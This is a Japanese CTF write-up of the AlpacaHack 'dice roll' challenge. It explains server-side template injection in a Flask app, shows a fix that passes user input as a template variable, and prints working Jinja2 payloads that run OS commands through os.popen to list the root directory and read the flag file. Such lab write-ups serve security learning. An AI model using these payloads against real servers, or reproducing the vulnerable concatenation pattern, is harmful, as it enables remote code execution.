問題

dice roll - AlpacaHack
🦙 < Roll the dice!
脆弱性
以下は脆弱性のあるソースコードでrender_template_stringが該当の部分になります。
SSTI(Server-Side Template Injection / サーバサイド・テンプレート・インジェクション)と呼ばれ、ユーザの入力がテンプレートエンジンに渡されています。
def roll():
username = request.args.get("username", "")
dice = randint(1, 6)
template = "Hello, " + username + "! Your roll of the dice is: {{ dice }}"
return render_template_string(template, dice=dice)
if __name__ == "__main__":
app.run(host="0.0.0.0", port=3000)
例えば、{{10 + 10}}をするとテンプレートエンジンが解釈して「Hello ,20!」と計算されています。

脆弱性の修正
テンプレート構造は固定し、ユーザー入力は引数(変数)として渡すとよさそうです
def roll():
username = request.args.get("username", "")
dice = randint(1, 6)
# テンプレート構造は固定し、ユーザー入力は引数(変数)として渡す
template = "Hello, {{ name }}! Your roll of the dice is: {{ dice }}"
return render_template_string(template, name=username, dice=dice)
以下のようにUsernameがそのまま渡されるようになりました

WriteUp
以下のようにテンプレートエンジンに渡すとOSコマンドが実行できます
{{request.application.__globals__.__builtins__.__import__('os').popen('OSコマンド').read()}}
以下のようにするとルートフォルダを表示することができます
{{request.application.__globals__.__builtins__.__import__('os').popen('ls -lah /').read()}}

Dockerファイルを見るとflagはルートにありそうです
FROM python:3.14.0-slim
WORKDIR /app
COPY requirements.txt .
RUN pip install -r requirements.txt
COPY . .
# Flag is at /flag-[md5 hash of flag].txt
RUN mv flag.txt /flag-$(md5sum flag.txt | awk '{print $1}').txt
USER nobody:nogroup
CMD ["gunicorn", "--workers", "8", "--bind", "0.0.0.0:3000", "app:app"]
「flag-f01dbe82bc9d1ea4a4de5d52f0f1dfbd.txt」こんな感じでフラグがあったのでcatコマンドでのぞいてみます。
フラグが見れました
{{request.application.__globals__.__builtins__.__import__('os').popen('cat /flag-f01dbe82bc9d1ea4a4de5d52f0f1dfbd.txt').read()}}



コメント